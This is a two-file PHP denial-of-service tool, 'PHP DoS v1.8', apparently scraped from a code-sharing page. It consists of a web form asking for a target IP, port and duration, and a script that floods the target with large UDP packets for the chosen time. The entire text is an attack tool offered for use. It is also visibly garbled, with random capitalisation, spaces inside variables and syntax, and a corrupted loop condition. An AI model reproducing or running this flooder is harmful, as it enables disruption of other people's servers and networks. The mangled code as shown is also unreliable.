Index. php
Copy codeThe Code is as follows: <? Php
$ Ip = $ _ SERVER ['remote _ ADDR '];
?>
<! Doctype html public "-// W3C // dtd html 4.01 Transitional // EN" "http://www.w3.org/TR/html4/loose.dtd">
<Html>
<Head>
<Meta http-equiv = "content-type" content = "text/html; charset = iso-8859-1">
<Meta name = "author" content = "">
<Title> PHP DoS, Coded by EXE </title>
</Head>
<! -- Php dos, coded by EXE -->
<Style type = "text/css">
<! --
Body {
Font-family: Arial, Helvetica, sans-serif;
Font-size: 12px;
Font-style: normal;
Line-height: normal;
Color: # FFFFFF;
Background-color: #000000;
}
-->
</Style>
<! -- Php dos, coded by EXE -->
<Body>
<Center> <br>
<br>
<B> Your IP: </B> <font color = "red"> <? Php echo $ ip;?> </Font> (Don't DoS yourself nub) <br>
<Form name = "input" action = "function. php" method = "post">
IP:
<Input type = "text" name = "ip" size = "15" maxlength = "15" class = "main" value = "0.0.0.0" onblur = "if (this. value = '') this. value = '0. 0.0.0 '; "onfocus =" if (this. value = '0. 0.0.0 ') this. value = '';">
Time:
<Input type = "text" name = "time" size = "14" maxlength = "20" class = "main" value = "time (in seconds) "onblur =" if (this. value = '') this. value = 'time (in seconds) '; "onfocus =" if (this. value = 'time (in seconds) ') this. value = '';">
Port:
<Input type = "text" name = "port" size = "5" maxlength = "5" class = "main" value = "port" onblur = "if (this. value = '') this. value = 'Port'; "onfocus =" if (this. value = 'Port') this. value = '';">
<Br>
<Input type = "submit" value = "Start the Attack --->">
<Br>
<Center>
After initiating the DoS attack, please wait while the browser loads.
</Center>
</Form>
</Center>
<! -- Php dos, coded by EXE -->
</Body>
</Html>
Function. phpCopy codeThe Code is as follows: <? Php
// ================================================ ==============
// Php dos v1.8 (Possibly Stronger Flood Strength)
// Coded by EXE
// ================================================ ==============
$ Packets = 0;
$ Ip = $ _ POST ['IP'];
$ Rand = $ _ POST ['Port'];
Set_time_limit (0 );
Ignore_user_abort (FALSE );
$ Exec_time = $ _ POST ['time'];
$ Time = time ();
Print "Flooded: $ ip on port $ rand <br> ";
$ Max_time = $ time + $ exec_time;
For ($ I = 0; I I <65535; $ I ++ ){
$ Out. = "X ";
}
While (1 ){
$ Packets ++;
If (time ()> $ max_time ){
Break;
}
$ Fp = fsockopen ("udp: // $ ip", $ rand, $ errno, $ errstr, 5 );
If ($ fp ){
Fwrite ($ fp, $ out );
Fclose ($ fp );
}
}
Echo "Packet complete ". time ('H: I: s '). "with $ packets (". round ($ packets * 65)/1024, 2 ). "mB) packets averaging ". round ($ packets/$ exec_time, 2 ). "packets/s \ n ";
?>